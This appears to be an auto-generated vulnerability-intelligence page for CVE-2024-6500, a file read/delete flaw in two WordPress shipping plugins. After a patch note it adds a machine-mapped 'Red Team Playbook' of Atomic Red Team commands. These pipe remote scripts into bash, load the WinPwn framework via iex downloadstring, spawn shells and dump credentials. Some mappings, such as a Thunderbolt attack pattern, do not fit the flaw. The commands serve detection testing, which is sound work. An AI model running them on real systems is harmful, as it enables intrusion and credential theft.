CVE-2024-6500
Overview
This vulnerability is an authorization bypass due to missing capability checks in the 'parse_request' function within the InPost for WooCommerce and InPost PL WordPress plugins. The root cause lies in the absence of proper access control validation, allowing unauthenticated requests to invoke privileged file operations. The affected components are the request parsing handlers in versions up to 1.4.0 (InPost for WooCommerce) and 1.4.4 (InPost PL).
Vulnerability Description
The InPost for WooCommerce plugin and InPost PL plugin for WordPress are vulnerable to unauthorized access and deletion of data due to a missing capability check on the 'parse_request' function in all versions up to, and including, 1.4.0 (for InPost for WooCommerce) as well as 1.4.4 (for InPost PL). This makes it possible for unauthenticated attackers to read and delete arbitrary files on Windows servers. On Linux servers, only files within the WordPress install will be deleted, but all files can be read.
Impact
An unauthenticated remote attacker can read and delete arbitrary files on the server, potentially leading to data loss and service disruption. No authentication, user interaction, or elevated privileges are required (AV:N/AC:L/PR:N/UI:N). On Windows servers, the attacker can delete any file, while on Linux, deletion is confined to WordPress directories but reading is unrestricted, increasing the risk of sensitive data exposure and operational impact.
Solution
To remediate this vulnerability, upgrade the InPost for WooCommerce plugin to a version later than 1.4.0 and the InPost PL plugin to a version later than 1.4.4, where proper capability checks are implemented in the 'parse_request' function. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/7b57e750-71ec-4c52-999b-6c14a78c3bff for detailed patch instructions and version updates. No official workaround is documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the InPost for WooCommerce plugin and its counterpart, the InPost PL plugin for WordPress, stems from a critical oversight in the implementation of access controls. Specifically, the 'parse_request' function lacks proper capability checks, allowing unauthorized users to execute sensitive operations. This oversight is particularly concerning as it permits unauthenticated attackers to access and manipulate files on the server. On Windows servers, the vulnerability enables attackers to read and delete arbitrary files, while on Linux servers, the scope of file deletion is limited to the WordPress installation directory. This discrepancy highlights the varying levels of risk associated with different server environments, yet the potential for unauthorized data access remains a significant threat across both platforms.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may craft a malicious request to the vulnerable function, bypassing authentication mechanisms entirely. This could be achieved through direct HTTP requests or by leveraging automated tools designed to probe for weaknesses in web applications. Once the attacker gains access, they can read sensitive files, including configuration files that may contain database credentials or other critical information. The ability to delete files further exacerbates the situation, as it can lead to service disruption, data loss, and potentially the complete compromise of the affected WordPress site.
The real-world impact of this vulnerability is profound, particularly for businesses relying on the affected plugins for e-commerce operations. The unauthorized access to sensitive data can lead to significant reputational damage, loss of customer trust, and potential legal ramifications if personal data is exposed. Additionally, the ability to delete files can disrupt business continuity, leading to downtime and financial losses. For organizations that handle sensitive customer information, such as payment details, the consequences of a breach could be catastrophic, resulting in regulatory fines and long-term damage to brand integrity.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify weaknesses in the WordPress environment, including outdated plugins that may be susceptible to exploitation. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, organizations should ensure that they are using the latest versions of the affected plugins and apply any security patches released by the developers promptly. Educating staff about secure coding practices and the importance of access controls can also help prevent similar vulnerabilities from being introduced in the future.
In conclusion, the vulnerability in the InPost for WooCommerce and InPost PL plugins poses a severe threat to the security of WordPress installations, particularly for e-commerce sites. The lack of capability checks in the 'parse_request' function allows unauthorized access and data manipulation, leading to significant business risks. By adopting proactive detection and mitigation strategies, organizations can safeguard their digital assets and maintain the integrity of their operations in an increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.